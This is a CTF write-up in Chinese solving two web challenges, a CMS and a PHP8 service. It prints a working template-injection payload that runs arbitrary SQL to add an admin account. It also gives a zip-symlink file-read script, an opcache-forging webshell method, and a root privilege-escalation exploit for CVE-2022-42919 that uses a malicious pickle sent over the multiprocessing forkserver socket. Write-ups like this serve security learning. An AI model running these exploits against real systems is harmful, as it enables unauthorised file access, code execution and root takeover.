春秋杯Web部分题解
2023-05-15 17:19:18

前言

真不容易~

qqcms

这题不难,侥幸拿了个一血(嘻嘻~

首先是后台的密码被改了,前台的功能并不多,翻遍了也没找到什么漏洞点,SQL都是预编译的,然后无意间看到一个函数:

image-20230515172210109

突然想到在 seacms 中有 parseIf 做解析执行代码,但是这里的 if_Tmp 是没有eval的,回溯一下看看哪里调用的:

image-20230515172324743

突然想起来在 seacms 中的 globals 的时候获取的seach,点进去发现果然有:

image-20230515172356527

然后再看上张图,include_tmp 函数中可以任意文件读,但是他在 global 前就做完工作了,global_tmp 后面虽然函数很多大部分都很安全,最终运气好乱点发现 loop_Tmp:

image-20230515172536190

看到这个 sql 一瞬间就能想到任意 SQL 执行了,直接利用:

1
/index/search.html?Search=12345{/if}{{loop sql='INSERT INTO `qc_user` VALUES (7, 18888888887, 1, 1, "e10adc3949ba59abbe56e057f20f883e", "", "", 1, "", 2, 0.00, 0, 1, 1652334396, "127.0.0.1", 1, 1, 1, 1652334410, "127.0.0.1");'}}{{/loop}}

好像用 firefox 访问会快很多,搞得我以为题目有问题呢。

成功后就可以直接登录了

然后这个时候想起来模板处有个 include,直接读flag吧:

image-20230515172803664

不过一开始改的 footer,发现不起作用,也没细看了,就改这个detail_article 没问题:

image-20230515172848081

前台随便点一个文章即可:

image-20230515172906599

php_again

这题看了将近20个小时,看到凌晨五点,- -还是二血

step1 RCE

文件读取

首先第一步是一个php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

$action = $_GET['action'];
if (empty($action)) {
highlight_file(__FILE__);
die();
}
switch ($action) {
case 0_0:
phpinfo();
break;
case 0o0_111:
exec('zip -r /tmp/www.zip *');
readfile('/tmp/www.zip');
break;
case 0b0_111:
var_dump(scandir('/var/www/html/'));
break;
case 0x0_555:
file_put_contents('/tmp/tmp.zip',base64_decode($_POST['data']));
break;
case 777_777:
exec('cd /tmp && unzip -o tmp.zip');
break;
}

?>

这里有个什么 0_00o0 这种,php7会报错,但是php8却没问题。首先发现可以任意文件读,怎么做呢,上面会发现他有 readfile:

首先创建一个软连接:

1
2
rm -f /tmp/haihai.zip && ln -s /etc/passwd www.zip&&zip --symlinks /tmp/haihai.zip www.zip && cat /tmp/haihai.zip |base64|tr -d '\n'&&echo

www.zip 当成一个软链接,压缩进压缩包里,然后base64,然后解压出来的 www.zip 就是软连接了。

一开始以为是条件竞争,但是后来发现不是因为条件竞争。是因为创建了软链接以后

1
zip -r /tmp/www.zip *

这个代码就会报错,就不能覆盖www.zip了,自然就跟着软链接读取了。

本地拉一个 php8.2.2:

1
php:8.2.2-apache

对了,这里的什么 0_0 0o0_111稍微贴一下都对应着什么:

image-20230515173713223

然后如果想看 phpinfo 的话就两个 0 就好了:?action=00

然后上那个bash生成一段base64:

image-20230515173835497

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url ="http://eci-2ze7fgyivez44tjlxhrk.cloudeci1.ichunqiu.com/"

def upbase():
global url

u = url+"/index.php?action=1365"
data = {
"data":"UEsDBAoAAAAAAMtMr1YKuR8pCwAAAAsAAAAHABwAd3d3LnppcFVUCQADjv1hZI79YWR1eAsAAQQAAAAABAAAAAAvZXRjL3Bhc3N3ZFBLAQIeAwoAAAAAAMtMr1YKuR8pCwAAAAsAAAAHABgAAAAAAAAAAAD/oQAAAAB3d3cuemlwVVQFAAOO/WFkdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATQAAAEwAAAAAAA=="
}
requests.post(u,data=data)
pass

def unzip():
global url
u = url+"/index.php?action=777777"
requests.get(u)
pass

def readfile():
global url
u = url+"/index.php?action=73"
r = requests.get(u)
print(r.text)
pass

upbase()
unzip()
readfile()

写得很粗糙,大概就行了,效果:

image-20230515174208126

image-20230515174333108

可以看到确实是不能覆盖了,就能读了。

但是我读了两个小时flag,尝试了各种名字,发现都不行,后来突然想起来给了个phpinfo,我相信题目里给的一切都是有用的(除非出题人🐎没了)

PHP8 中 opcache 文件夹名的研究

我对比了一下我本地默认的和远程,我发现多了个 opcache,突然想起来去年做过一道opcache的题,然后开始搜索,找到一个且是唯一一个github:

https://github.com/GoSecure/php7-opcache-override/

这里有个很明显的四个字符,php7,这道题是 php8 的,使用上面的那个官方的php8.2.2 然后配置上 opcache(他默认自带了opcache我还在网上找了半天依赖)

在文件:/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini(不一样的话看看phpinfo,这里用的是官方的php8镜像。)

1
2
3
4
5
zend_extension=opcache
[opcache]
opcache.enable=1
opcache.file_cache="/tmp"
opcache.file_cache_only=1

会生成个什么文件夹呢:

image-20230515174918986

这个md5是8131开头的,远程的是不一样的,为什么呢,这里用上面的github工具看看:

image-20230515175020160

可以看到 Zend Extension ID 是唯一的差别,其他的都一样,更致命的是算出来的和本地的是不一样的,说明php8和php7改了的。

这个时候我想到了第一个方法:

image-20230515175203045

image-20230515175231460

我想到使用类似patch的方法把这个0829改成0929,当然,我本人不会:

image-20230515175506373

patch 完后发现尽然不生成了。我还想试过把远程的 opcache 读取出来,发现也不行。无奈只能找源码了:

https://github.com/php/php-src/blob/php-8.2.2/ext/opcache/zend_file_cache.c

发现他的 system_id 其实不是在 opcache 中算出来的,在文件 Zend/zend_system_id.c 中:

image-20230515175833574

会发现其实好像加进去的也差不多,但是我看来看去也没看出来到底多了什么少了什么,于是我想到最后一个方法,直接编译就完了,本地编译太麻烦了,这个时候就能想到宝塔了,宝塔安装的时候可以编译,但是宝塔的 ZEND_EXTENSION 也是 20220829 的,怎么办呢,我们找到这个 ZEND_EXTENSION_BUILD_ID 在哪里定义的:

image-20230515180126476

然后宝塔安装的 8.2 是 8.2.4 ,我们需要 8.2.2,那也简单:

image-20230515180157163

然后还要找到两个文件位置,提前写好一段代码,一个是因为 system_id 是经过 md5编译的,所以找到 MD5 函数:

image-20230515180414710

还有一个就是一开始提到的 zend_system_id.c:

image-20230515180547585

在算完以后把 system_id 写进去。

哦其实不写也可以,直接安装一个 opcache,就能看到缓存文件夹名字了,所以好像只用改两个版本。

然后宝塔就来了:

image-20230515180810283

目录:/www/server/php,首先他会 wget 源码,然后解压,解压以后趁着编译之前,我们把版本号修改了就好啦~

image-20230515180948959

这时还没解压好,解压好以后会变成 src:

image-20230515181007294

然后就可以开始改了,理论上只需要改最上面两个版本即可,如果想看md5前是什么,就可以加上文件写的。最后在编译完成前改好,等待编译完即可:

image-20230515181341393

image-20230515181408501

image-20230515181421980

这里有一些特殊字符,我是不知道到底怎么做的拼接,所以才改的版本~

算出 246104dd1c75c908e3152fa39e48dfb5 就可以去读取一下看看对不对了:

1
2
rm -f /tmp/haihai.zip && ln -s /tmp/246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin www.zip&&zip --symlinks /tmp/haihai.zip www.zip && cat /tmp/haihai.zip |base64|tr -d '\n'&&echo

生成出的 base 替换一下脚本里的就好:

image-20230515181706717

成功~

然后就本地生成一个 index.php.bin,替换掉远程的 timestamp 和 system_id 。

opcache getshell

因为这个目录应该是不能变的,所以我又回到了 php8 的官方镜像中:

image-20230515181953436

把这个 bin 复制出来,然后用上面 github 中的 010editor 的模板,就能看到结构了:

image-20230515182053988

然后获取远程的:

1
wget http://eci-2ze7fgyivez44tjlxhrk.cloudeci1.ichunqiu.com/index.php\?action\=73 -O index.php.bin

image-20230515182232096

替换这两个就好了,checksum是不需要替换的。然后本地 tmp 文件里创建一串文件夹:

image-20230515182341005

image-20230515182425972

拿着这段base去替换脚本里的然后解压,然后访问就好了:

image-20230515182924816

step2 提权

使用蚁剑以后发现没有权限:

image-20230515201445373

suid也没有啥可用的,其他的提权CVE我也不熟悉,但是我看到个py_server.py,然后 ps aux也发现了这个进程,并且还是root用户启动的,代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import multiprocessing
import time


def foo():
import traceback
traceback.format_exc()
print('Hello Ctfer')


if __name__ == '__main__':
multiprocessing.freeze_support()
multiprocessing.set_start_method("forkserver")
p = multiprocessing.Pool()
p1 = multiprocessing.Process(target=foo)
p1.start()
time.sleep(60*60*24)

这里可以看到 forkserver,猜测大概率是用这个提权,搜索一下:

image-20230515201633007

发现了这个CVE:CVE-2022-42919

https://github.com/python/cpython/issues/97514

仔细阅读一下,发现说3.9以前有限制,题目用的刚好是3.9,然后找了半天也没找到EXP,估计没有公开的,只能自己写了,看看漏洞的描述:

image-20230515201759335

说是通过命名空间发送pickle数据,说实话,没接触过,但是昨天凌晨跟AI聊天聊着聊着,他给了我这样的代码:

image-20230515202420738

再看看这个 issue 是怎么推荐修复的:

image-20230515202606741

可以看到这个代码:应该是监听了

1
\0listener-pid-0

这个 {next(_mmap_counter)} 默认是 0,至于怎么知道的,当然是:

image-20230515203000249

image-20230515203440902

知道以后就可以连接然后发送数据了,这里直接贴 EXP吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import pickle
import array
import sys
import struct

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

opcode=b'''cos
system
(S'chmod 777 /flag'
tR.'''
with open('/tmp/ggg.txt','wb') as f:
f.write(opcode)

fd = open("/tmp/ggg.txt",'rb')
print(fd.fileno())

s.connect('\0listener-{}-0'.format(sys.argv[1]))

def send_fd(sock, fd):
sock.sendmsg([b'\x04'],
[(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array('i',[fd,fd,fd,fd]).tobytes())])
ack = sock.recv(2)
assert ack == b'OK'

send_fd(s,fd.fileno())

s.close()

image-20230515204402158

可以看到文件属性改了,说明代码执行成功了。

我这里就不班门弄斧了,简单说一下函数的过程,有兴趣的师傅自己跟吧,首先已知 connection.py里的arbitrary_address返回监听地址。

然后回到 forkserver.py 的 ensure_running

image-20230515204807022

在这里bind以后,在这一块代码地上和下面:

image-20230515205016928

这里运行的当前文件的main函数:

image-20230515205131999

首先上面是 reduction 的 recvfds:

image-20230515205207945

这里是 recvmsg,必须要 sendmsg 发送,然后发送的格式也是结合网上和瞎试出来的,然后进入 _serve_one:

image-20230515205321262

这里如果 fds 需要进行一下 unpack,所以要足够的个数(应该是这样),然后调用到 spawn 的 _main 方法:

image-20230515205415349

可以看到在这里做了 pickle.load,触发漏洞了,这里猜测就是传入文件的内容。

对了,这里要提一点,exp中:

image-20230515205532339

这个 \0x4是下面有几个 fd ,一个就\x01,但是如果只有一个的话会报错:

image-20230515205700932

然后如果过了这个,就是把它改成 \x03和三个 fd的话,又会报错另一个:

image-20230515205825920

最后测试出来四个执行了。。

大概就是这样~

总结

说实话 php_agian 确实有点难了,最后感谢好兄弟的鼓励🙏(嘻嘻:

image-20230515210131762

Prev
2023-05-15 17:19:18
Next